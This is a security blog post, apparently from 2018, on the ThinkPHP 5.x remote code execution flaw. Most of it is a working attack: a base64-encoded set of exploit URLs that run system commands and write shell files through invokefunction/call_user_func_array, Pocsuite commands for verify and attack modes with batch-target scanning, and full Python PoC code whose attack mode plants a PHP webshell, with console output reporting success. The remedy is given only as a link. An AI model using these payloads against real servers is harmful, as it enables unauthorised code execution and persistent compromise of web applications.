Thinkphp 5.x < 5.1.31, <= 5.0.23 Remote code Execute

December 5, 2018

0x00 漏洞背景

近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075,其中修复了一处getshell漏洞。

poc

0x01 Exploit

base64decode => :

Lz9zPWluZGV4L1x0aGlua1xSZXF1ZXN0L2lucHV0JmZpbHRlcj1waHBpbmZvJmRhdGE9MQoKLz9zPWluZGV4L1x0aGlua1xSZXF1ZXN0L2lucHV0JmZpbHRlcj1zeXN0ZW0mZGF0YT1pZAoKLz9zPWluZGV4L1x0aGlua1x0ZW1wbGF0ZVxkcml2ZXJcZmlsZS93cml0ZSZjYWNoZUZpbGU9c2hlbGwucGhwJmNvbnRlbnQ9JTNDP3BocCUyMHBocGluZm8oKTs/JTNFCgovP3M9aW5kZXgvXHRoaW5rXHZpZXdcZHJpdmVyXFBocC9kaXNwbGF5JmNvbnRlbnQ9JTNDP3BocCUyMHBocGluZm8oKTs/JTNFCgovP3M9aW5kZXgvXHRoaW5rXGFwcC9pbnZva2VmdW5jdGlvbiZmdW5jdGlvbj1jYWxsX3VzZXJfZnVuY19hcnJheSZ2YXJzWzBdPXBocGluZm8mdmFyc1sxXVtdPTEKCi8/cz1pbmRleC9cdGhpbmtcYXBwL2ludm9rZWZ1bmN0aW9uJmZ1bmN0aW9uPWNhbGxfdXNlcl9mdW5jX2FycmF5JnZhcnNbMF09c3lzdGVtJnZhcnNbMV1bXT1pZAoKLz9zPWluZGV4L1x0aGlua1xDb250YWluZXIvaW52b2tlZnVuY3Rpb24mZnVuY3Rpb249Y2FsbF91c2VyX2Z1bmNfYXJyYXkmdmFyc1swXT1waHBpbmZvJnZhcnNbMV1bXT0xCgovP3M9aW5kZXgvXHRoaW5rXENvbnRhaW5lci9pbnZva2VmdW5jdGlvbiZmdW5jdGlvbj1jYWxsX3VzZXJfZnVuY19hcnJheSZ2YXJzWzBdPXN5c3RlbSZ2YXJzWzFdW109aWQ=

0x02 POC验证脚本-Pocsuite

Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石,是团队发展至今一直维护的一个项目,保障了我们的 Web 安全研究能力的领先。

你可以直接使用 Pocsuite 进行漏洞的验证与利用;你也可以基于 Pocsuite 进行 PoC/Exp 的开发,因为它也是一个 PoC 开发框架;同时,你还可以在你的漏洞测试工具里直接集成 Pocsuite,它也提供标准的调用类。

– pocsuite.org

我Fork了一份,自己添加了一个插件:

git clone https://github.com/Cooolis/Pocsuite.git
python pocsuite.py --url http://127.0.0.1:8080/ --verify -r modules/thinkphpv5_rce.py # 验证漏洞
python pocsuite.py --url http://127.0.0.1:8080/ --attack -r modules/thinkphpv5_rce.py # 获取webshell

rvn0xsy@Rvn0xsy ~/G/Pocsuite> python pocsuite.py --url http://127.0.0.1:8080/ --attack -r modules/thinkphpv5_rce.py

                              ,--. ,--.
 ,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.8-df54a3d}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.

[*] starting at 21:04:22

[21:04:22] [*] checking Thinkphp 5.x < 5.1.31, <= 5.0.23 远程代码执行
[21:04:22] [*] poc:'Thinkphp 5.x < 5.1.31, <= 5.0.23 远程代码执行' target:'http://127.0.0.1:8080/'
[21:04:22] [+] webshell : http://127.0.0.1:8080/424.php
+------------------------+----------------+--------+-----------+-------------------------+---------+
| target-url             |    poc-name    | poc-id | component |         version         |  status |
+------------------------+----------------+--------+-----------+-------------------------+---------+
| http://127.0.0.1:8080/ | thinkphpv5_rce |  1024  |  Thinkphp | 5.x < 5.1.31, <= 5.0.23 | success |
+------------------------+----------------+--------+-----------+-------------------------+---------+
success : 1 / 1

[*] shutting down at 21:04:22

可批量验证:

...
usage: pocsuite [options]

optional arguments:
  -h, --help            Show help message and exit
  --version             Show program's version number and exit
  --update              Update Pocsuite

target:
  -u URL, --url URL     Target URL (e.g. "http://www.targetsite.com/")
  -f URLFILE, --file URLFILE
                        Scan multiple targets given in a textual file
  -r POCFILE            Load POC from a file (e.g. "_0001_cms_sql_inj.py") or directory (e.g. "modules/")

mode:
  --verify              Run poc with verify mode
  --attack              Run poc with attack mode
...

0x03 POC代码

https://github.com/Cooolis/Pocsuite/blob/dev/modules/thinkphpv5_rce.py

#!/usr/bin/env python
# coding: utf-8

import urllib
import random
import string
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
from collections import OrderedDict


class ThinkPHP(POCBase):
    vulID = '1024'
    version = '1'
    author = '倾旋 rvn0sxy@gmail.com'
    vulDate = '2018-12-10'
    createDate = '2018-12-11'
    updateDate = '2018-12-11'
    references = ['https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ']
    name = 'Thinkphp 5.x < 5.1.31, <= 5.0.23 远程代码执行'
    appPowerLink = 'https://www.thinkphp.cn/'
    appName = 'Thinkphp'
    appVersion = '5.x < 5.1.31, <= 5.0.23'
    vulType = 'Remote code Execute'
    desc = '近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075,其中修复了一处getshell漏洞。'
    samples = []

    def _attack(self):
            result = {}
            shell_name = str(int(random.random() * 1000))+'.php'
            shell_code = '<?php phpinfo();?>'
            proxies = {
                "http": "http://127.0.0.1:8081"
            }
            vul_url = '%s/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=%s&vars[1][]=%s' % (self.url,shell_name,shell_code)
            if not self._verify(verify=False):
                return self.parse_attack(result)
            response = req.post(vul_url,proxies=proxies)
            if response.status_code == 200 and str(len(shell_code)) in response.content:
                result['webshell'] = self.url+shell_name
            return self.parse_attack(result)

    def _verify(self,verify=True):
            result = {}
            proxies = {
                "http":"http://127.0.0.1:8081"
            }
            vul_url = '%s/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=header&vars[1][]=vuln:1' % self.url
            response = req.get(vul_url,proxies=proxies).headers
            if 'vuln' in response:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
            return self.parse_attack(result)

    def parse_attack(self, result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail("No ... ")
            return output


register(ThinkPHP)

关于POC的使用,可参考pocsuite.org

0x04 修复

参考:https://blog.thinkphp.cn/869075

Thinkphp 5.x < 5.1.31, <= 5.0.23 Remote code Execute - December 5, 2018 - Rvn0xsy